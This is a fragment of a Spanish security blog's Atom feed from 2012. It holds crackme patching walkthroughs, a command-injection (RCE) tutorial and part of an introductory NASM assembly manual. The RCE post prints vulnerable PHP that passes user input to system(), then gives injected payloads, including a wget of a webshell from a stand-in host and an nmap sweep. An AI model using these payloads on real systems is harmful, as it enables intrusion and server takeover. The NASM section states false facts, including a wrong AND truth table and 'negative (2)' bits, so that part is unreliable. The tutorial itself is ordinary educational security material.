  &lt;br /&gt;
  &lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: green;&quot;&gt;Agradecimientos:&lt;/span&gt; &lt;/b&gt;&lt;/span&gt;&lt;u&gt;&lt;i&gt;Jep, Swash, 11Sep, Shadowbyte, Mr.Blood, ...&lt;/i&gt;&lt;/u&gt;&lt;br /&gt;
  &lt;br /&gt;
  &lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;b&gt;Creado por: Yo-Mismo&lt;/b&gt; (Para&lt;b&gt; oversec.org&lt;/b&gt;)&lt;/span&gt;&lt;br /&gt;
  &lt;br /&gt;
  &lt;span style=&quot;font-size: x-small;&quot;&gt;Las dudas las resuelvo por privado, no en el hilo (Mejor abrir tema nuevo.)&lt;/span&gt;&lt;br /&gt;
  &lt;br /&gt;
  &lt;span style=&quot;font-size: x-small;&quot;&gt;Un saludo!&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://oversec-blog.blogspot.com/feeds/4581471506851392961/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://oversec-blog.blogspot.com/2012/08/introduccion-netwide-assembler-segunda.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5049397840722246187/posts/default/4581471506851392961'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5049397840722246187/posts/default/4581471506851392961'/><link rel='alternate' type='text/html' href='http://oversec-blog.blogspot.com/2012/08/introduccion-netwide-assembler-segunda.html' title='Introducción a Netwide Assembler, Segunda parte'/><author><name>Yo-Mismo</name><uri>http://www.blogger.com/profile/16808768813534764737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5049397840722246187.post-1377304082826926058</id><published>2012-07-27T06:26:00.001-07:00</published><updated>2012-07-27T06:26:30.947-07:00</updated><title type='text'>SelfKeygen Crackme 58DD2D69 C.L.S.</title><content type='html'>Este es un crackme que descargué de la lista de CracksLatinos, 12/2011.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Descripción:&lt;/b&gt;&lt;br /&gt;
&lt;div class=&quot;quoteheader&quot;&gt;
&lt;div class=&quot;topslice_quote&quot;&gt;
Citar&lt;/div&gt;
&lt;/div&gt;
&lt;blockquote class=&quot;bbc_standard_quote&quot;&gt;
This crackme is a simple algorithm.It&#39;s written in visual c++ 6.0 with mfc.&lt;br /&gt;
Level 1/10&lt;/blockquote&gt;
&lt;br /&gt;
&lt;b&gt;Herramientas:&lt;/b&gt;&lt;br /&gt;
-OllyDBG&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Donde lo descargo&lt;/b&gt;&lt;br /&gt;
-&lt;a class=&quot;bbc_link&quot; href=&quot;http://www.mediafire.com/?yklg2gutstvt3gm&quot; target=&quot;_blank&quot;&gt;Aquí&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;b&gt;Puesta a punto&lt;/b&gt;&lt;/div&gt;
Arrancamos con Olly, y buscamos entre las strings:&lt;br /&gt;
&lt;img alt=&quot;&quot; class=&quot;bbc_img&quot; src=&quot;http://i-host.oversec.org/?di=1413238141496&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
Vamos al salto al &lt;a href=&quot;http://www.portalhacker.net/index.php/topic,147064.0.html#&quot; rel=&quot;nofollow&quot; style=&quot;border-bottom: dotted 1px; color: red; cursor: hand; text-decoration: underline;&quot;&gt;chico&lt;/a&gt; bueno y vemos lo siguiente:&lt;br /&gt;
&lt;img alt=&quot;&quot; class=&quot;bbc_img&quot; src=&quot;http://i-host.oversec.org/?di=713238141496&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
Vemos que tenemos 4 strings, una de longitud mínima, serial olvidado, el chico bueno y chico malo.&lt;br /&gt;
&lt;br /&gt;
Nos fijamos que antes pasa por una &lt;a href=&quot;http://www.portalhacker.net/index.php/topic,147064.0.html#&quot; rel=&quot;nofollow&quot; style=&quot;border-bottom: dotted 1px; color: red; cursor: hand; text-decoration: underline;&quot;&gt;comparación&lt;/a&gt;. Colocamos un BP en dicho CALL, y vemos que se trae entre manos:&lt;br /&gt;
&lt;img alt=&quot;&quot; class=&quot;bbc_img&quot; src=&quot;http://i-host.oversec.org/?di=1013238140573&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
Vemos que ahí tenemos el serial falso y verdadero comparándose.&lt;br /&gt;
&lt;br /&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;b&gt;Afilando los dientes&lt;/b&gt;&lt;/div&gt;
&lt;br /&gt;
Básicamete lo que haremos, es decirle al &lt;a href=&quot;http://www.portalhacker.net/index.php/topic,147064.0.html#&quot; rel=&quot;nofollow&quot; style=&quot;border-bottom: dotted 1px; color: red; cursor: hand; text-decoration: underline;&quot;&gt;programa&lt;/a&gt;
 que de no cumplirse, realice un JMP a una zona vacia del ejecutable, 
con permisos, donde obtendrá el serial verdadero y lo mostrará.&lt;br /&gt;
&lt;br /&gt;
Creamos un salto a una zona vacía&lt;br /&gt;
&lt;img alt=&quot;&quot; class=&quot;bbc_img&quot; src=&quot;http://i-host.oversec.org/?di=0132381405710&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
En ella cargamos los valores, y posteriormente hacemos un salto al CALL.&lt;br /&gt;
&lt;img alt=&quot;&quot; class=&quot;bbc_img&quot; src=&quot;http://i-host.oversec.org/?di=113238140571&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
Vemos que funciona.&lt;br /&gt;
&lt;img alt=&quot;&quot; class=&quot;bbc_img&quot; src=&quot;http://i-host.oversec.org/?di=113238143320&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;b&gt;Nos vemos!&lt;/b&gt;&lt;/div&gt;
&lt;br /&gt;
Guardamos los &lt;a href=&quot;http://www.portalhacker.net/index.php/topic,147064.0.html#&quot; rel=&quot;nofollow&quot; style=&quot;border-bottom: dotted 1px; color: red; cursor: hand; text-decoration: underline;&quot;&gt;cambios&lt;/a&gt; a otro ejecutable, y probamos. Primero un serial falso y después el verdadero que mostró:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;img alt=&quot;&quot; class=&quot;bbc_img&quot; src=&quot;http://i-host.oversec.org/?di=813238143327&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://oversec.org/&quot;&gt;OverSec.org&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://oversec-blog.blogspot.com/feeds/1377304082826926058/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://oversec-blog.blogspot.com/2012/07/selfkeygen-crackme-58dd2d69-cls.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5049397840722246187/posts/default/1377304082826926058'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5049397840722246187/posts/default/1377304082826926058'/><link rel='alternate' type='text/html' href='http://oversec-blog.blogspot.com/2012/07/selfkeygen-crackme-58dd2d69-cls.html' title='SelfKeygen Crackme 58DD2D69 C.L.S.'/><author><name>Yo-Mismo</name><uri>http://www.blogger.com/profile/16808768813534764737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5049397840722246187.post-472419496366278760</id><published>2012-07-27T06:23:00.003-07:00</published><updated>2012-07-27T06:23:31.180-07:00</updated><title type='text'>[1/10] CrackMe Básico C, #1</title><content type='html'>&lt;img alt=&quot;&quot; class=&quot;bbc_img&quot; src=&quot;http://i.imgur.com/5blnQ.jpg&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a class=&quot;bbc_link&quot; href=&quot;http://www.mediafire.com/?tiraia8jfer87ta&quot; target=&quot;_blank&quot;&gt;Descargar&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Aclaración: Keygen con todas las claves &lt;a href=&quot;http://www.portalhacker.net/index.php/topic,154686.0.html#&quot; rel=&quot;nofollow&quot; style=&quot;border-bottom: dotted 1px; color: red; cursor: hand; text-decoration: underline;&quot;&gt;posibles&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://oversec.org/&quot;&gt;OverSec.org&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://oversec-blog.blogspot.com/feeds/472419496366278760/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://oversec-blog.blogspot.com/2012/07/descargar-aclaracion-keygen-con-todas.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5049397840722246187/posts/default/472419496366278760'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5049397840722246187/posts/default/472419496366278760'/><link rel='alternate' type='text/html' href='http://oversec-blog.blogspot.com/2012/07/descargar-aclaracion-keygen-con-todas.html' title='[1/10] CrackMe Básico C, #1'/><author><name>Yo-Mismo</name><uri>http://www.blogger.com/profile/16808768813534764737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5049397840722246187.post-7466345652134617611</id><published>2012-07-27T06:21:00.001-07:00</published><updated>2012-07-27T06:22:48.238-07:00</updated><title type='text'>Simple Crackme C #2</title><content type='html'>&lt;i&gt;&lt;b&gt;Reglas:&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;
- Keygen con &lt;span class=&quot;bbc_u&quot;&gt;todas las combinaciones posibles&lt;/span&gt;&lt;br /&gt;
- Tutorial&lt;br /&gt;
- Comprender algoritmo&lt;br /&gt;
- No parchear ni brutalizar&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;&lt;b&gt;Otros:&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;
- Plataforma: WIN32 x84&lt;br /&gt;
- Lenguaje: C &amp;amp; ASM&lt;br /&gt;
- Nivel de dificultad: Sigue siendo 1/10&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;a class=&quot;bbc_link&quot; href=&quot;http://www.mediafire.com/?54ne6bchbf1h92s&quot; target=&quot;_blank&quot;&gt;Simple Crackme C #2&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://oversec.org/&quot;&gt;OverSec.org&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://oversec-blog.blogspot.com/feeds/7466345652134617611/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://oversec-blog.blogspot.com/2012/07/simple-crackme-c-2.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5049397840722246187/posts/default/7466345652134617611'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5049397840722246187/posts/default/7466345652134617611'/><link rel='alternate' type='text/html' href='http://oversec-blog.blogspot.com/2012/07/simple-crackme-c-2.html' title='Simple Crackme C #2'/><author><name>Yo-Mismo</name><uri>http://www.blogger.com/profile/16808768813534764737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5049397840722246187.post-1591933572390706685</id><published>2012-07-27T06:20:00.001-07:00</published><updated>2012-07-27T06:22:33.355-07:00</updated><title type='text'>[1/10] CrackMe Básico C #3</title><content type='html'>&lt;img alt=&quot;&quot; class=&quot;bbc_img&quot; src=&quot;http://i.imgur.com/sbeQ5.png&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a class=&quot;bbc_link&quot; href=&quot;http://www.mediafire.com/?t8daflaz0q1tp18&quot; target=&quot;_blank&quot;&gt;Descargar&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://oversec.org/&quot;&gt;OverSec.org&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://oversec-blog.blogspot.com/feeds/1591933572390706685/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://oversec-blog.blogspot.com/2012/07/110-crackme-basico-c-3.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5049397840722246187/posts/default/1591933572390706685'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5049397840722246187/posts/default/1591933572390706685'/><link rel='alternate' type='text/html' href='http://oversec-blog.blogspot.com/2012/07/110-crackme-basico-c-3.html' title='[1/10] CrackMe Básico C #3'/><author><name>Yo-Mismo</name><uri>http://www.blogger.com/profile/16808768813534764737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5049397840722246187.post-1311791461667867897</id><published>2012-07-27T04:01:00.000-07:00</published><updated>2012-12-25T14:41:36.088-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="arbitrary code execution"/><title type='text'>Arbitary Code Execution / RCE</title><content type='html'>&lt;div align=&quot;center&quot;&gt;
&lt;b&gt;&lt;span class=&quot;bbc_color&quot; style=&quot;color: red;&quot;&gt;Explicación&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;br /&gt;
Se trata de ejecutar código arbitrario a nivel S.O.&lt;br /&gt;
&lt;br /&gt;
Supongamos que tenemos una página &lt;a href=&quot;http://www.portalhacker.net/index.php/topic,155709.0/topicseen.html#&quot; rel=&quot;nofollow&quot; style=&quot;border-bottom: dotted 1px; color: red; cursor: hand; text-decoration: underline;&quot;&gt;Web&lt;/a&gt;,
 con algún software a nivel S.O. para alguna tarea, y le pasamos los 
parámetros adecuados por POST para hacer la llamada via system... 
Podemos manipular la instrucción con dos clicks&lt;br /&gt;
&lt;br /&gt;
Ahora razonemos:&lt;br /&gt;
&lt;pre style=&quot;margin: 0; padding: 0;&quot;&gt;&lt;code class=&quot;bbc_code&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;&amp;lt;?php
$val&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;bin.exe&amp;nbsp;$_POST[&quot;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;param&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;]&quot;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;system&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$val&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;);&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
Podemos manipular algo, y con eso basta para provocar algo. Más adelante veremos como.&lt;br /&gt;
&lt;br /&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;b&gt;&lt;span class=&quot;bbc_color&quot; style=&quot;color: red;&quot;&gt;Código vulnerable&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;pre style=&quot;margin: 0; padding: 0;&quot;&gt;&lt;code class=&quot;bbc_code&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;&amp;lt;?php&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;if(!isset(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$_POST&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;IP&quot;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;]))
{&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;&lt;span style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&amp;lt;form action=&quot;ping.php&quot; method=&quot;POST&quot;&amp;gt;
&lt;span style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;IP: &amp;lt;input name=&quot;IP&quot;&amp;gt;&amp;lt;br&amp;gt;
&lt;span style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&amp;lt;input type=&quot;submit&quot; value=&quot;Ping&quot;&amp;gt;
&lt;span style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&amp;lt;/form&amp;gt;
&lt;span style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;&amp;lt;?php&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;}&amp;nbsp;else&amp;nbsp;{&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;&lt;span style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;system&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;ping&amp;nbsp;&quot;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$_POST&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;IP&quot;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;]);
}&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;span class=&quot;bbc_u&quot;&gt;Primer fallo&lt;/span&gt;, Web. No limpiar ni revisar la IP, junto a una &lt;a href=&quot;http://www.portalhacker.net/index.php/topic,155709.0/topicseen.html#&quot; rel=&quot;nofollow&quot; style=&quot;border-bottom: dotted 1px; color: red; cursor: hand; text-decoration: underline;&quot;&gt;función&lt;/a&gt; tan peligrosa como system (Creedme, hay increibles sorpresas con PHP...)&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;bbc_u&quot;&gt;Segundo fallo&lt;/span&gt;, la forma del S.O. de concatenar instrucciones.&lt;br /&gt;
&lt;br /&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;b&gt;&lt;span class=&quot;bbc_color&quot; style=&quot;color: red;&quot;&gt;Ataque&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;br /&gt;
Este ejemplo está tratado en Windows, aunque funciona igual bajo Linux.&lt;br /&gt;
&lt;br /&gt;
Si vamos a la consola de WinBug, Windows para otros, vemos que podemos concatenar comandos de la siguiente forma:&lt;br /&gt;
Com1 | Com2 | Com3 | ...&lt;br /&gt;
&lt;blockquote class=&quot;bbc_standard_quote&quot;&gt;
&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;echo xD &amp;gt; xd.txt | ping localhost&lt;br /&gt;
&lt;br /&gt;
Pinging yomismo-&lt;a href=&quot;http://www.portalhacker.net/index.php/topic,155709.0/topicseen.html#&quot; rel=&quot;nofollow&quot; style=&quot;border-bottom: dotted 1px; color: red; cursor: hand; text-decoration: underline;&quot;&gt;PC&lt;/a&gt; [::1] with 32 bytes of data:&lt;br /&gt;
Reply from ::1: time&amp;lt;1ms&lt;br /&gt;
Reply from ::1: time&amp;lt;1ms&lt;br /&gt;
Reply from ::1: time&amp;lt;1ms&lt;br /&gt;
Reply from ::1: time&amp;lt;1ms&lt;br /&gt;
&lt;br /&gt;
Ping statistics for ::1:&lt;br /&gt;
&amp;nbsp; &amp;nbsp; Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),&lt;br /&gt;
Approximate round trip times in milli-seconds:&lt;br /&gt;
&amp;nbsp; &amp;nbsp; Minimum = 0ms, Maximum = 0ms, Average = 0ms&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;type xd.txt&lt;br /&gt;
xD&lt;/blockquote&gt;
&lt;br /&gt;
Tenemos una instrucción que modificar... ¿Recuerdas? ¿Y si probamos?&lt;br /&gt;
&lt;br /&gt;
Modifiquemos la dirección IP enviada con Live HTTP Headers, Tamper Data o similares vía POST, para concatenar un &lt;a href=&quot;http://www.portalhacker.net/index.php/topic,155709.0/topicseen.html#&quot; rel=&quot;nofollow&quot; style=&quot;border-bottom: dotted 1px; color: red; cursor: hand; text-decoration: underline;&quot;&gt;nuevo&lt;/a&gt; comando...&lt;br /&gt;
&lt;br /&gt;
&lt;pre style=&quot;margin: 0; padding: 0;&quot;&gt;&lt;code class=&quot;bbc_code&quot;&gt;IP: 127.0.0.1 | ipconfig&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
Como resultado, podemos ver la configuración IP del host.&lt;br /&gt;
&lt;br /&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;b&gt;&lt;span class=&quot;bbc_color&quot; style=&quot;color: red;&quot;&gt;Peligros&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;br /&gt;
Es una de las vulnerabilidades más críticas que conozco (Reitero que las hay mucho peores), imaginemos el siguiente caso:&lt;br /&gt;
&lt;br /&gt;
Webshell:&lt;br /&gt;
&lt;pre style=&quot;margin: 0; padding: 0;&quot;&gt;&lt;code class=&quot;bbc_code&quot;&gt;IP: 127.0.0.1 | wget http://shell.com/shell.php&lt;/code&gt;&lt;/pre&gt;
Otros xD:&lt;br /&gt;
&lt;pre style=&quot;margin: 0; padding: 0;&quot;&gt;&lt;code class=&quot;bbc_code&quot;&gt;IP: 127.0.0.1 | nmap -sP 192.168.*.*&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;b&gt;&lt;span class=&quot;bbc_color&quot; style=&quot;color: red;&quot;&gt;Solución&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;br /&gt;
La solución más estúpida es la más eficaz. Limpia la variable, y observa que esta corresponda a una dirección IP válida.&lt;br /&gt;
&lt;br /&gt;
Como dijo RemoteExecution (Adivinen de donde viene el nick): &quot;Una vulnerabilidad sólo es tan limitada como tu quieras&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://oversec.org/&quot;&gt;OverSec.org&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Saludos!</content><link rel='replies' type='application/atom+xml' href='http://oversec-blog.blogspot.com/feeds/1311791461667867897/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://oversec-blog.blogspot.com/2012/07/arbitary-code-execution-rce.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5049397840722246187/posts/default/1311791461667867897'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5049397840722246187/posts/default/1311791461667867897'/><link rel='alternate' type='text/html' href='http://oversec-blog.blogspot.com/2012/07/arbitary-code-execution-rce.html' title='Arbitary Code Execution / RCE'/><author><name>Yo-Mismo</name><uri>http://www.blogger.com/profile/16808768813534764737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5049397840722246187.post-6013895636559576785</id><published>2012-07-14T12:40:00.000-07:00</published><updated>2012-12-25T14:43:55.582-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="manual"/><category scheme="http://www.blogger.com/atom/ns#" term="nasm"/><title type='text'>Manual. Intruducción a NASM (Netwide Assembler)</title><content type='html'>Este es un manual que comencé a escribir hace tiempo, acerca de Netwide Assembler.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;center style=&quot;color: red;&quot;&gt;
&lt;b&gt;&amp;nbsp;Introducción a Netwide Assembler (NASM)&lt;/b&gt;&lt;/center&gt;
&lt;center&gt;
&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/center&gt;
&lt;br /&gt;
Actualmente, es muy difí­cil encontrar programas escritos completamente en Assembler, sin embargo, son utilizados por su portabilidad y facilidad de uso, además, al estar creado en un lenguaje de programación de nivel bajo, no tiene empaquetado ni tanta  basura que puede contener otro programa creado, por ejemplo, en VB, lo que puede generar un ejecutable de apenas 2&#39;5Kb, cuando el mismo programa, en VB, serí­a de 21Kb. Ya veremos más adelante estos datos.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;center&gt;
&lt;b&gt; &lt;span style=&quot;color: red;&quot;&gt;¿Por qué necesitamos aprender Assembler?&lt;/span&gt;&lt;/b&gt;&lt;/center&gt;
&lt;br /&gt;
&lt;br /&gt;
-&amp;gt; Genera un código más rápido y pequeño que otro programa escrito en otro lenguaje de alto nivel&lt;br /&gt;
-&amp;gt; Para ciertas plataformas, los lenguajes de alta programación son ineficientes, debido a restricciones del hardware (Ej.: Sistemas embebidos)&lt;br /&gt;
-&amp;gt; Permite acceder al Hardware directamente (Ej.: Sistemas operativos)&lt;br /&gt;
-&amp;gt; Conocerás como funciona completamente un PC internamente&lt;br /&gt;
&lt;br /&gt;
&lt;center&gt;
&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/center&gt;
&lt;center style=&quot;color: red;&quot;&gt;
&lt;b&gt;Registros&lt;/b&gt;&lt;/center&gt;
&lt;br /&gt;
&lt;br /&gt;
Registros de datos              EAX EBX ECX EDX&lt;br /&gt;
Punteros de pila                  ESP EBP&lt;br /&gt;
Registros de í­ndice              EDI ESI&lt;br /&gt;
Registros de segmento       FS CS DS ES SS&lt;br /&gt;
EAX: También llamado acumulador&lt;br /&gt;
EBX: Puede ser usado como registro base de direccionamiento        (por ejemplo, para apuntar a direcciones de memoria con el)&lt;br /&gt;
ECX: Usado como contador (ciclos, rotaciones...)&lt;br /&gt;
EDX: Registro de datos, a veces usado con EAX en instrucciones especiales.&lt;br /&gt;
Los sistemas de 32 bits, están construidos por registros de 16 bits, y estos a su vez, están divididos en  subsegmentos  de 8 bits, que a su vez, están formados por dos códigos hexadecimales, de 4 bits cada uno (Cada bit es un impulso eléctrico, positivo (1) o negativo (2)). La siguiente tabla muestra un ejemplo:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;img alt=&quot;edx.png&quot; src=&quot;http://img40.imageshack.us/img40/1553/edx.png&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
-&lt;b&gt;No hay forma &lt;/b&gt; de acceder a los 16 bits superiores.&lt;br /&gt;
&lt;br /&gt;
Estas direcciones requieren un número de 20 bits, el cual, no cabrá en un registro de 16 bits. Desde la llegada de Intel, se usaban 2 valores de 16 bits (32 bit) para determinar una dirección. Los valores del seleccionador deben estar en registros de segmento, y el segundo valor de 16 bits, es el desplazamiento (Offset). Se puede obtener la dirección mediante la siguiente formula:&lt;br /&gt;
16 * Seleccionador + Desplazamiento&lt;br /&gt;
Una curiosidad es la forma en la que la máquina obtiene un número hexadecimal a partir de uno decimal. He aquí­ la fórmula:&lt;br /&gt;
Decimal: 31278&lt;br /&gt;
31278:16 = 1954 resto= 14 (E) &lt;br /&gt;
1954:16 = 122 resto= 2 (2)&lt;br /&gt;
122:16 = 7 resto= 10 (A) &lt;br /&gt;
7:16 = 0 resto= 7 (7)&lt;br /&gt;
7A2E (Hexadecimal)&lt;br /&gt;
Como vemos, realiza algo similar a una conversión decimal binaria, pero usando 16 para obtener un número valido para continuar dividiendo, y el resto, el valor hexadecimal. Pueden ponerlo en práctica.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;center style=&quot;color: red;&quot;&gt;
&lt;b&gt;Operadores lógicos&lt;/b&gt;&lt;/center&gt;
&lt;center&gt;
&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/center&gt;
&lt;br /&gt;
Hay de 4 tipos, y se representan como en la siguiente tabla:&lt;br /&gt;
And: Vale 1 si ambos bites están a 1&lt;br /&gt;
1 | 1 = 1&lt;br /&gt;
1 | 0 = 0&lt;br /&gt;
0 | 0 = 0&lt;br /&gt;
0 | 1 = 1&lt;br /&gt;
Or: Vale 1 si algún bit vale 1&lt;br /&gt;
1 | 1 = 1&lt;br /&gt;
1 | 0 = 1&lt;br /&gt;
0 | 0 = 0&lt;br /&gt;
0 | 1 = 1&lt;br /&gt;
Xor: Vale 1 si los bits son diferentes, y 0 si no lo son&lt;br /&gt;
